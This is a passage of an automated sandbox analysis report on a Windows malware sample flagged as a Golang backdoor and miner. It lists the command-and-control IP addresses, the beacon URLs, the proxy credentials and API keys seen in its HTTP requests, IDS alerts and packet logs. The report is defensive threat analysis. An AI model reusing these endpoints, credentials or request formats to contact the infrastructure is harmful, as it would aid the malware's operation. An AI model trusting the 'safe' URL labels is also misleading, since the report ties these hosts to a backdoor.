http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFUS01QypY923ec5c02989f28b859f51c6956b5ad192	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.250.123:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000191C000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000184C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28:30001/api/helper-first-register	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001884000.00000004.00001000.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://195.2.70.38:30001195.2.70.38:300011u	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001814000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018F4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.63:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFdzQpInVp	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.250.123:30001	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.229.63:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b8	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001996000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000191C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.250.123:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRST	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFJStZJSWtHTTP/1.1	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.250.123:30001/api/helper-first-register	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018B6000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.142.74.28:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b85	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000184C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.250.123:30001/api/helper-first-registerhttp://195.2.70.38:30001/api/helper-first-regis	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.142.74.28	unknown	Russian Federation	48720	VTSL1-ASRU	false
77.238.229.63	unknown	Russian Federation	42429	TELERU-ASRU	false
195.2.70.38	unknown	Russian Federation	48282	VDSINA-ASRU	false
77.238.250.123	unknown	Russian Federation	42429	TELERU-ASRU	false
77.238.224.56	unknown	Russian Federation	42429	TELERU-ASRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487581
Start date and time:	2024-08-04 16:22:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@1/0@0/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateFileA, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-04T16:24:40.998313+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49722	30001	192.168.2.8	77.238.224.56
2024-08-04T16:24:06.080353+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49714	30001	192.168.2.8	195.2.70.38
2024-08-04T16:23:34.717759+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49707	30001	192.168.2.8	77.238.229.63
2024-08-04T16:24:06.805111+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49715	30001	192.168.2.8	91.142.74.28
2024-08-04T16:23:32.518956+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49704	30001	192.168.2.8	195.2.70.38
2024-08-04T16:23:34.058919+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49706	30001	192.168.2.8	77.238.224.56
2024-08-04T16:24:07.438094+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49716	30001	192.168.2.8	77.238.224.56
2024-08-04T16:24:40.222640+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49721	30001	192.168.2.8	91.142.74.28
2024-08-04T16:24:39.462818+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49720	30001	192.168.2.8	195.2.70.38
2024-08-04T16:24:08.664821+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49718	30001	192.168.2.8	77.238.250.123
2024-08-04T16:24:08.071255+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49717	30001	192.168.2.8	77.238.229.63
2024-08-04T16:23:35.289841+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49708	30001	192.168.2.8	77.238.250.123
2024-08-04T16:23:33.396540+0200	TCP	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	49705	30001	192.168.2.8	91.142.74.28

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2024 16:23:31.763777018 CEST	49704	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:23:31.768910885 CEST	30001	49704	195.2.70.38	192.168.2.8
Aug 4, 2024 16:23:31.769011974 CEST	49704	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:23:31.770209074 CEST	49704	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:23:31.776339054 CEST	30001	49704	195.2.70.38	192.168.2.8
Aug 4, 2024 16:23:32.463896036 CEST	30001	49704	195.2.70.38	192.168.2.8
Aug 4, 2024 16:23:32.481875896 CEST	49705	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:23:32.486874104 CEST	30001	49705	91.142.74.28	192.168.2.8
Aug 4, 2024 16:23:32.487019062 CEST	49705	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:23:32.487386942 CEST	49705	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:23:32.492120028 CEST	30001	49705	91.142.74.28	192.168.2.8
Aug 4, 2024 16:23:32.518955946 CEST	49704	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:23:33.356165886 CEST	30001	49705	91.142.74.28	192.168.2.8
Aug 4, 2024 16:23:33.373296022 CEST	49706	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:23:33.379147053 CEST	30001	49706	77.238.224.56	192.168.2.8
Aug 4, 2024 16:23:33.379261017 CEST	49706	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:23:33.380285025 CEST	49706	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:23:33.385037899 CEST	30001	49706	77.238.224.56	192.168.2.8
Aug 4, 2024 16:23:33.396539927 CEST	49705	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:23:34.003884077 CEST	30001	49706	77.238.224.56	192.168.2.8
Aug 4, 2024 16:23:34.021768093 CEST	49707	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:23:34.026714087 CEST	30001	49707	77.238.229.63	192.168.2.8
Aug 4, 2024 16:23:34.026806116 CEST	49707	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:23:34.027033091 CEST	49707	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:23:34.031785965 CEST	30001	49707	77.238.229.63	192.168.2.8
Aug 4, 2024 16:23:34.058918953 CEST	49706	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:23:34.663091898 CEST	30001	49707	77.238.229.63	192.168.2.8
Aug 4, 2024 16:23:34.680752039 CEST	49708	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:23:34.685619116 CEST	30001	49708	77.238.250.123	192.168.2.8
Aug 4, 2024 16:23:34.685858965 CEST	49708	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:23:34.686300993 CEST	49708	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:23:34.691117048 CEST	30001	49708	77.238.250.123	192.168.2.8
Aug 4, 2024 16:23:34.717758894 CEST	49707	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:23:35.289557934 CEST	30001	49708	77.238.250.123	192.168.2.8
Aug 4, 2024 16:23:35.289840937 CEST	49708	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:23:35.289892912 CEST	49707	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:23:35.289947033 CEST	49706	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:23:35.289975882 CEST	49705	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:23:35.290003061 CEST	49704	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:23:35.295022964 CEST	30001	49708	77.238.250.123	192.168.2.8
Aug 4, 2024 16:23:35.295131922 CEST	49708	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:23:35.296096087 CEST	30001	49707	77.238.229.63	192.168.2.8
Aug 4, 2024 16:23:35.296134949 CEST	30001	49706	77.238.224.56	192.168.2.8
Aug 4, 2024 16:23:35.296155930 CEST	49707	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:23:35.296178102 CEST	49706	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:23:35.296180010 CEST	30001	49705	91.142.74.28	192.168.2.8
Aug 4, 2024 16:23:35.296191931 CEST	30001	49704	195.2.70.38	192.168.2.8
Aug 4, 2024 16:23:35.296231031 CEST	49705	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:23:35.296247005 CEST	49704	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:05.313214064 CEST	49714	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:05.318120003 CEST	30001	49714	195.2.70.38	192.168.2.8
Aug 4, 2024 16:24:05.318358898 CEST	49714	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:05.318664074 CEST	49714	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:05.323379993 CEST	30001	49714	195.2.70.38	192.168.2.8
Aug 4, 2024 16:24:06.031989098 CEST	30001	49714	195.2.70.38	192.168.2.8
Aug 4, 2024 16:24:06.058850050 CEST	49715	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:06.063767910 CEST	30001	49715	91.142.74.28	192.168.2.8
Aug 4, 2024 16:24:06.063843966 CEST	49715	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:06.064066887 CEST	49715	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:06.068820953 CEST	30001	49715	91.142.74.28	192.168.2.8
Aug 4, 2024 16:24:06.080353022 CEST	49714	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:06.758860111 CEST	30001	49715	91.142.74.28	192.168.2.8
Aug 4, 2024 16:24:06.782304049 CEST	49716	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:06.788764000 CEST	30001	49716	77.238.224.56	192.168.2.8
Aug 4, 2024 16:24:06.788856983 CEST	49716	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:06.789186001 CEST	49716	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:06.794081926 CEST	30001	49716	77.238.224.56	192.168.2.8
Aug 4, 2024 16:24:06.805110931 CEST	49715	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:07.397485971 CEST	30001	49716	77.238.224.56	192.168.2.8
Aug 4, 2024 16:24:07.414117098 CEST	49717	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:24:07.421767950 CEST	30001	49717	77.238.229.63	192.168.2.8
Aug 4, 2024 16:24:07.421875954 CEST	49717	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:24:07.422139883 CEST	49717	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:24:07.427022934 CEST	30001	49717	77.238.229.63	192.168.2.8
Aug 4, 2024 16:24:07.438093901 CEST	49716	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:08.017986059 CEST	30001	49717	77.238.229.63	192.168.2.8
Aug 4, 2024 16:24:08.034496069 CEST	49718	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:24:08.039275885 CEST	30001	49718	77.238.250.123	192.168.2.8
Aug 4, 2024 16:24:08.039376020 CEST	49718	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:24:08.039623976 CEST	49718	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:24:08.044394970 CEST	30001	49718	77.238.250.123	192.168.2.8
Aug 4, 2024 16:24:08.071254969 CEST	49717	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:24:08.664594889 CEST	30001	49718	77.238.250.123	192.168.2.8
Aug 4, 2024 16:24:08.664820910 CEST	49718	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:24:08.664863110 CEST	49717	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:24:08.664921999 CEST	49716	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:08.664940119 CEST	49715	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:08.664983034 CEST	49714	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:08.672163963 CEST	30001	49718	77.238.250.123	192.168.2.8
Aug 4, 2024 16:24:08.672231913 CEST	49718	30001	192.168.2.8	77.238.250.123
Aug 4, 2024 16:24:08.672377110 CEST	30001	49717	77.238.229.63	192.168.2.8
Aug 4, 2024 16:24:08.672399998 CEST	30001	49716	77.238.224.56	192.168.2.8
Aug 4, 2024 16:24:08.672454119 CEST	30001	49715	91.142.74.28	192.168.2.8
Aug 4, 2024 16:24:08.672560930 CEST	49717	30001	192.168.2.8	77.238.229.63
Aug 4, 2024 16:24:08.672593117 CEST	49716	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:08.672610044 CEST	49715	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:08.672635078 CEST	30001	49714	195.2.70.38	192.168.2.8
Aug 4, 2024 16:24:08.672689915 CEST	49714	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:38.683537960 CEST	49720	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:38.688473940 CEST	30001	49720	195.2.70.38	192.168.2.8
Aug 4, 2024 16:24:38.688565016 CEST	49720	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:38.688800097 CEST	49720	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:38.694061041 CEST	30001	49720	195.2.70.38	192.168.2.8
Aug 4, 2024 16:24:39.404206038 CEST	30001	49720	195.2.70.38	192.168.2.8
Aug 4, 2024 16:24:39.462817907 CEST	49720	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:39.467118025 CEST	49721	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:39.471999884 CEST	30001	49721	91.142.74.28	192.168.2.8
Aug 4, 2024 16:24:39.472076893 CEST	49721	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:39.472382069 CEST	49721	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:39.477196932 CEST	30001	49721	91.142.74.28	192.168.2.8
Aug 4, 2024 16:24:40.169311047 CEST	30001	49721	91.142.74.28	192.168.2.8
Aug 4, 2024 16:24:40.185467005 CEST	49722	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:40.190521002 CEST	30001	49722	77.238.224.56	192.168.2.8
Aug 4, 2024 16:24:40.190690041 CEST	49722	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:40.191090107 CEST	49722	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:40.195837021 CEST	30001	49722	77.238.224.56	192.168.2.8
Aug 4, 2024 16:24:40.222640038 CEST	49721	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:40.997939110 CEST	30001	49722	77.238.224.56	192.168.2.8
Aug 4, 2024 16:24:40.998312950 CEST	49722	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:40.998361111 CEST	49720	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:40.998392105 CEST	49721	30001	192.168.2.8	91.142.74.28
Aug 4, 2024 16:24:41.009584904 CEST	30001	49722	77.238.224.56	192.168.2.8
Aug 4, 2024 16:24:41.009603977 CEST	30001	49720	195.2.70.38	192.168.2.8
Aug 4, 2024 16:24:41.009617090 CEST	30001	49721	91.142.74.28	192.168.2.8
Aug 4, 2024 16:24:41.009639978 CEST	49722	30001	192.168.2.8	77.238.224.56
Aug 4, 2024 16:24:41.009679079 CEST	49720	30001	192.168.2.8	195.2.70.38
Aug 4, 2024 16:24:41.009915113 CEST	49721	30001	192.168.2.8	91.142.74.28

HTTP Request Dependency Graph

195.2.70.38:30001

91.142.74.28:30001

77.238.224.56:30001

77.238.229.63:30001

77.238.250.123:30001

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	195.2.70.38	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:23:31.770209074 CEST	283	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 195.2.70.38:30001 User-Agent: Go-http-client/1.1 X-Api-Key: q5GB4kPC Accept-Encoding: gzip
Aug 4, 2024 16:23:32.463896036 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:23:32 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	91.142.74.28	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:23:32.487386942 CEST	284	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 91.142.74.28:30001 User-Agent: Go-http-client/1.1 X-Api-Key: IEr8ObJL Accept-Encoding: gzip
Aug 4, 2024 16:23:33.356165886 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:23:33 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49706	77.238.224.56	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:23:33.380285025 CEST	285	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 77.238.224.56:30001 User-Agent: Go-http-client/1.1 X-Api-Key: oWemEAaD Accept-Encoding: gzip
Aug 4, 2024 16:23:34.003884077 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:23:33 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49707	77.238.229.63	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:23:34.027033091 CEST	285	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 77.238.229.63:30001 User-Agent: Go-http-client/1.1 X-Api-Key: qaG5VsBP Accept-Encoding: gzip
Aug 4, 2024 16:23:34.663091898 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:23:34 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49708	77.238.250.123	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:23:34.686300993 CEST	286	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 77.238.250.123:30001 User-Agent: Go-http-client/1.1 X-Api-Key: g1eMZ8Fg Accept-Encoding: gzip
Aug 4, 2024 16:23:35.289557934 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:23:35 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49714	195.2.70.38	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:24:05.318664074 CEST	283	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 195.2.70.38:30001 User-Agent: Go-http-client/1.1 X-Api-Key: LPwitJ4H Accept-Encoding: gzip
Aug 4, 2024 16:24:06.031989098 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:24:05 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49715	91.142.74.28	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:24:06.064066887 CEST	284	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 91.142.74.28:30001 User-Agent: Go-http-client/1.1 X-Api-Key: JStZJSWt Accept-Encoding: gzip
Aug 4, 2024 16:24:06.758860111 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:24:06 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49716	77.238.224.56	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:24:06.789186001 CEST	285	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 77.238.224.56:30001 User-Agent: Go-http-client/1.1 X-Api-Key: US01QypY Accept-Encoding: gzip
Aug 4, 2024 16:24:07.397485971 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:24:07 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49717	77.238.229.63	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:24:07.422139883 CEST	285	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 77.238.229.63:30001 User-Agent: Go-http-client/1.1 X-Api-Key: qxCPMJ77 Accept-Encoding: gzip
